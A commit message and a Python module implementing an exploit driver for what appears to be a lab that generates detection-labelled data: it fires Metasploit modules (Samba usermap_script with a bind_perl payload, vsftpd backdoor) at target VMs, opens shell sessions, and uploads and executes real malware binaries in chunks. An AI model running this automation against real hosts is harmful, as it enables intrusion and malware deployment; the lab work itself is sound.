Root causes and fixes documented in TIER3-BRINGUP.md. Summary:
1. BRIDGE env var leaked into Tier-3 subprocess → target VM used tap
instead of SLIRP; fix: env.pop("BRIDGE") in fleet _run_slot.
2. usable_modules filter conditioned on BRIDGE presence → bridge-requiring
modules selected on SLIRP runs; fix: always filter requires_bridge.
3. cmd/unix/interact creates no session.list entry → session_open_timeout
every episode; fix: switch samba_usermap_script to cmd/unix/bind_perl.
4. Per-slot LPORT hostfwd used wrong guest port (host:5444→guest:4444);
fix: extra_host_port:extra_host_port mapping so guest binds the
per-slot LPORT directly.
5. vsftpd backdoor port 6200 hardcoded → collision across concurrent slots;
fix: requires_bridge=true filters it from SLIRP fleet runs.
6. SLIRP false-positive in _wait_for_tcp → exploit fires before Samba
boots (~60 s too early); fix: replace TCP probe with serial console
_wait_for_serial_login that waits for actual "login:" prompt.
7. Stale QEMU survives orchestrator restart (start_new_session=True) →
holds hostfwd ports, new QEMU silently fails; fix: kill by pgid from
old pidfile before rmtree.
8. PORT_BASE default used privileged port 21; fix: default to 2021+slot*100.
9. msfrpcd 6.x returns bytes for all string values even with raw=False;
fix: MSFRpcClient._str() recursive decoder applied to all responses.
Co-Authored-By: Claude Sonnet 4.6 <noreply@anthropic.com>
352 lines
14 KiB
Python
352 lines
14 KiB
Python
"""Tier-3 exploit driver.
|
|
|
|
Plugged into ``EpisodeRunner`` as the ``on_phase`` callback. Translates
|
|
the closed phase enum into msfrpc actions:
|
|
|
|
clean — idle. (no-op; exploit hasn't fired yet)
|
|
armed — module loaded + options applied; module fires
|
|
with ``module.execute``. Driver records the fire
|
|
timestamp via ``emit_event`` so the labeler can
|
|
align ``armed`` with what's actually happening.
|
|
infecting — poll for a new session; on session_open, run a
|
|
one-shot landing command (``id`` or similar) so
|
|
we have a clear "session is responsive" event.
|
|
infected_running — start observable workload inside the session.
|
|
dormant — kill the workload, leave the session alive.
|
|
reverting — kill session, snapshot revert handled by caller.
|
|
|
|
The events the driver writes match the schema in ``docs/data-model.md``:
|
|
``exploit_fire``, ``session_open``, ``sample_executed``, ``session_dormant``,
|
|
``session_killed``.
|
|
|
|
The driver does NOT author exploits or pick payloads at runtime — those
|
|
choices live in ``exploits/modules/*.toml``. The driver is a pure
|
|
adapter between the phase machine and msfrpc.
|
|
"""
|
|
|
|
from __future__ import annotations
|
|
|
|
import logging
|
|
import os
|
|
import time
|
|
from dataclasses import dataclass
|
|
from typing import Callable
|
|
|
|
from pathlib import Path
|
|
|
|
from samples.manifest import Sample
|
|
|
|
from .modules import ModuleConfig
|
|
from .msfrpc import MSFRpcClient, wait_for_new_session
|
|
from .workloads import (
|
|
ChunkedUpload, Workload, chunked_real_binary_upload,
|
|
real_binary_workload, workload_for,
|
|
)
|
|
|
|
|
|
log = logging.getLogger("cis490.exploits.driver")
|
|
|
|
EmitEvent = Callable[..., None]
|
|
|
|
|
|
@dataclass
|
|
class DriverConfig:
|
|
target_ip: str
|
|
session_open_timeout_s: float = 30.0
|
|
# HOST_PORT for the module's service. When set, overrides RPORT in the
|
|
# module's options so msfrpcd connects to the hostfwd'd loopback port
|
|
# rather than the guest's privileged port directly.
|
|
target_port: int | None = None
|
|
# Driver v1 fallback workload — used only when no Sample is passed
|
|
# in (Sample-driven runs override these via exploits.workloads).
|
|
# We keep the v1 path so existing callers keep working unchanged.
|
|
workload_cmd: str = "yes > /dev/null"
|
|
workload_kill_cmd: str = "pkill yes; true"
|
|
# Where staged real-malware binaries live on the lab host.
|
|
sample_store_root: Path | None = None
|
|
|
|
|
|
class MSFExploitDriver:
|
|
"""Phase-to-msfrpc adapter. One instance per episode.
|
|
|
|
When constructed with a ``Sample``, the driver dispatches the
|
|
``infected_running`` / ``dormant`` workload through
|
|
``exploits.workloads`` so the in-session behaviour matches the
|
|
sample's profile (cpu-saturate, scan-and-dial, io-walk, bursty-c2,
|
|
low-and-slow, shell-resident). Without a sample, falls back to
|
|
the v1 single-command workload — useful for the very first
|
|
Tier-3 smoke runs."""
|
|
|
|
def __init__(
|
|
self,
|
|
client: MSFRpcClient,
|
|
module: ModuleConfig,
|
|
cfg: DriverConfig,
|
|
emit_event: EmitEvent,
|
|
*,
|
|
sample: Sample | None = None,
|
|
) -> None:
|
|
self.client = client
|
|
self.module = module
|
|
self.cfg = cfg
|
|
self.emit = emit_event
|
|
self.sample = sample
|
|
# Chunked upload plan (None unless real binary path applies).
|
|
self._chunked: ChunkedUpload | None = None
|
|
self.workload: Workload | None = self._resolve_workload(sample)
|
|
|
|
self._sessions_seen_at_arm: set[int] = set()
|
|
self._session_id: int | None = None
|
|
self._job_id: int | str | None = None
|
|
self._fired = False
|
|
|
|
def _resolve_workload(self, sample: Sample | None) -> Workload | None:
|
|
"""Pick the best workload for this sample:
|
|
1. real binary (if staged at samples/store/<sha256>) → chunked
|
|
upload + exec via dedicated dispatch path
|
|
2. profile mimic from exploits.workloads
|
|
3. None → driver v1 fallback (yes-loop)
|
|
"""
|
|
if sample is None:
|
|
return None
|
|
if sample.kind == "real" and self.cfg.sample_store_root is not None:
|
|
bin_path = sample.binary_path(self.cfg.sample_store_root)
|
|
if bin_path is not None:
|
|
try:
|
|
payload = bin_path.read_bytes()
|
|
self._chunked = chunked_real_binary_upload(payload, sample=sample)
|
|
# Return a Workload shell so the rest of the driver
|
|
# can treat the dispatch uniformly. start_cmd is
|
|
# never sent verbatim — _start_workload walks the
|
|
# chunked plan instead.
|
|
return Workload(
|
|
profile=self._chunked.profile,
|
|
start_cmd="(chunked-upload-managed-by-driver)",
|
|
stop_cmd=self._chunked.stop_cmd,
|
|
description=f"Real binary chunked upload+execute "
|
|
f"({len(payload)} bytes, "
|
|
f"{self._chunked.n_chunks} chunks)",
|
|
)
|
|
except OSError as e:
|
|
log.warning("could not read real sample %s: %s; falling back", bin_path, e)
|
|
return workload_for(sample)
|
|
|
|
# ---- lifecycle ------------------------------------------------------
|
|
|
|
def setup(self) -> None:
|
|
"""Authenticate and snapshot the pre-existing session set so we
|
|
can recognize a *new* session as the one we just opened."""
|
|
self.client.login()
|
|
self._sessions_seen_at_arm = set(self.client.session_list().keys())
|
|
self.emit(
|
|
"driver_setup",
|
|
module=self.module.module_path,
|
|
payload=self.module.payload_path,
|
|
target_ip=self.cfg.target_ip,
|
|
preexisting_sessions=sorted(self._sessions_seen_at_arm),
|
|
sample=self.sample.name if self.sample else None,
|
|
sample_kind=self.sample.kind if self.sample else None,
|
|
sample_sha256=self.sample.sha256 if self.sample else None,
|
|
workload_profile=self.workload.profile if self.workload else None,
|
|
)
|
|
|
|
def teardown(self) -> None:
|
|
if self._session_id is not None:
|
|
try:
|
|
self.client.session_stop(self._session_id)
|
|
self.emit("session_killed", session_id=self._session_id)
|
|
except Exception:
|
|
log.exception("session.stop on %s", self._session_id)
|
|
if self._job_id is not None:
|
|
try:
|
|
self.client.job_stop(self._job_id)
|
|
except Exception:
|
|
log.debug("job.stop on %s (often already gone)", self._job_id)
|
|
self.client.logout()
|
|
|
|
# ---- phase callback -------------------------------------------------
|
|
|
|
def set_phase(self, phase: str) -> None:
|
|
log.info("driver phase -> %s", phase)
|
|
if phase == "clean":
|
|
return
|
|
if phase == "armed":
|
|
self._fire()
|
|
elif phase == "infecting":
|
|
self._await_session()
|
|
elif phase == "infected_running":
|
|
self._start_workload()
|
|
elif phase == "dormant":
|
|
self._stop_workload()
|
|
elif phase == "reverting":
|
|
self.teardown()
|
|
else:
|
|
log.warning("unknown phase: %s", phase)
|
|
|
|
# ---- actions --------------------------------------------------------
|
|
|
|
def _fire(self) -> None:
|
|
if self._fired:
|
|
log.debug("module already fired; skipping re-fire")
|
|
return
|
|
opts = self.module.render_options(target_ip=self.cfg.target_ip)
|
|
if self.cfg.target_port is not None:
|
|
opts["RPORT"] = self.cfg.target_port
|
|
# Fleet sets FLEET_PAYLOAD_LPORT to the per-slot host port for
|
|
# bind-shell payloads (cmd/unix/bind_perl etc.) so the handler
|
|
# connects to the right hostfwd'd loopback port.
|
|
fleet_lport = os.environ.get("FLEET_PAYLOAD_LPORT")
|
|
if fleet_lport and "LPORT" in opts:
|
|
opts["LPORT"] = int(fleet_lport)
|
|
log.info("LPORT overridden to %s (FLEET_PAYLOAD_LPORT)", fleet_lport)
|
|
self.emit(
|
|
"exploit_fire",
|
|
module=self.module.module_path,
|
|
options={k: v for k, v in opts.items() if k != "PASSWORD"},
|
|
)
|
|
resp = self.client.module_execute(
|
|
self.module.module_type, self.module.module_path, opts,
|
|
)
|
|
self._job_id = resp.get("job_id")
|
|
self._fired = True
|
|
|
|
def _await_session(self) -> None:
|
|
if self._session_id is not None:
|
|
return
|
|
result = wait_for_new_session(
|
|
self.client,
|
|
seen=self._sessions_seen_at_arm,
|
|
timeout_s=self.cfg.session_open_timeout_s,
|
|
)
|
|
if result is None:
|
|
self.emit(
|
|
"session_open_timeout",
|
|
module=self.module.module_path,
|
|
timeout_s=self.cfg.session_open_timeout_s,
|
|
)
|
|
log.warning(
|
|
"no session opened within %.1fs", self.cfg.session_open_timeout_s,
|
|
)
|
|
return
|
|
sid, info = result
|
|
self._session_id = sid
|
|
self.emit(
|
|
"session_open",
|
|
session_id=sid,
|
|
session_type=info.get("type"),
|
|
tunnel_peer=info.get("tunnel_peer"),
|
|
)
|
|
# Landing probe so we have a known-good RTT marker on the wire.
|
|
try:
|
|
self.client.session_shell_write(sid, "id")
|
|
time.sleep(0.5)
|
|
out = self.client.session_shell_read(sid)
|
|
self.emit("session_landing_probe", session_id=sid, output=out.strip()[:256])
|
|
except Exception:
|
|
log.exception("landing probe on session %s", sid)
|
|
|
|
def _start_workload(self) -> None:
|
|
if self._session_id is None:
|
|
log.warning("infected_running with no session — skipping workload")
|
|
return
|
|
if self._chunked is not None:
|
|
self._upload_real_binary_chunked()
|
|
return
|
|
if self.workload is not None:
|
|
# Driver v2 — profile-matched mimic workload.
|
|
self.client.session_shell_write(self._session_id, self.workload.start_cmd)
|
|
self.emit(
|
|
"sample_executed",
|
|
session_id=self._session_id,
|
|
profile=self.workload.profile,
|
|
description=self.workload.description,
|
|
sample=self.sample.name if self.sample else None,
|
|
)
|
|
else:
|
|
# Driver v1 fallback.
|
|
self.client.session_shell_write(
|
|
self._session_id,
|
|
f"nohup sh -c {_shquote(self.cfg.workload_cmd)} </dev/null "
|
|
f">/dev/null 2>&1 & disown",
|
|
)
|
|
self.emit(
|
|
"sample_executed",
|
|
session_id=self._session_id,
|
|
command=self.cfg.workload_cmd,
|
|
)
|
|
|
|
def _upload_real_binary_chunked(self) -> None:
|
|
"""Walk the ChunkedUpload plan: each chunk is a separate
|
|
shell_write so msfrpc never sees a buffer-busting payload.
|
|
Verifies the in-guest sha256 before exec; emits per-step
|
|
events so we have a wire-level audit trail of Tier-4 runs."""
|
|
plan = self._chunked
|
|
assert plan is not None and self._session_id is not None
|
|
sid = self._session_id
|
|
|
|
self.emit(
|
|
"real_binary_upload_begin",
|
|
session_id=sid,
|
|
n_chunks=plan.n_chunks,
|
|
sha256=plan.expected_sha256,
|
|
sample=self.sample.name if self.sample else None,
|
|
)
|
|
for i, chunk in enumerate(plan.chunks):
|
|
self.client.session_shell_write(sid, chunk)
|
|
# Read back so the next write doesn't race ahead of the
|
|
# previous one's prompt return. We don't parse it.
|
|
try:
|
|
self.client.session_shell_read(sid)
|
|
except Exception:
|
|
pass
|
|
|
|
# Decode + verify on the guest side.
|
|
self.client.session_shell_write(sid, plan.finalize_cmd)
|
|
try:
|
|
verify_out = self.client.session_shell_read(sid)
|
|
except Exception:
|
|
verify_out = ""
|
|
verified = "sha-ok" in verify_out
|
|
self.emit(
|
|
"real_binary_verify",
|
|
session_id=sid,
|
|
ok=verified,
|
|
output=verify_out.strip()[:256],
|
|
sha256=plan.expected_sha256,
|
|
)
|
|
if not verified:
|
|
self.emit("real_binary_aborted", session_id=sid, reason="sha mismatch")
|
|
return
|
|
|
|
# Launch.
|
|
self.client.session_shell_write(sid, plan.exec_cmd)
|
|
self.emit(
|
|
"sample_executed",
|
|
session_id=sid,
|
|
profile=plan.profile,
|
|
sample=self.sample.name if self.sample else None,
|
|
sha256=plan.expected_sha256,
|
|
kind="real",
|
|
)
|
|
|
|
def _stop_workload(self) -> None:
|
|
if self._session_id is None:
|
|
return
|
|
if self.workload is not None:
|
|
self.client.session_shell_write(self._session_id, self.workload.stop_cmd)
|
|
else:
|
|
self.client.session_shell_write(
|
|
self._session_id, self.cfg.workload_kill_cmd,
|
|
)
|
|
self.emit(
|
|
"session_dormant",
|
|
session_id=self._session_id,
|
|
profile=self.workload.profile if self.workload else None,
|
|
)
|
|
|
|
|
|
def _shquote(s: str) -> str:
|
|
# Minimal POSIX single-quote escaping. The workload command is set
|
|
# by us, not by anything user-controlled, so we just need to handle
|
|
# embedded single quotes correctly for completeness.
|
|
return "'" + s.replace("'", "'\\''") + "'"
|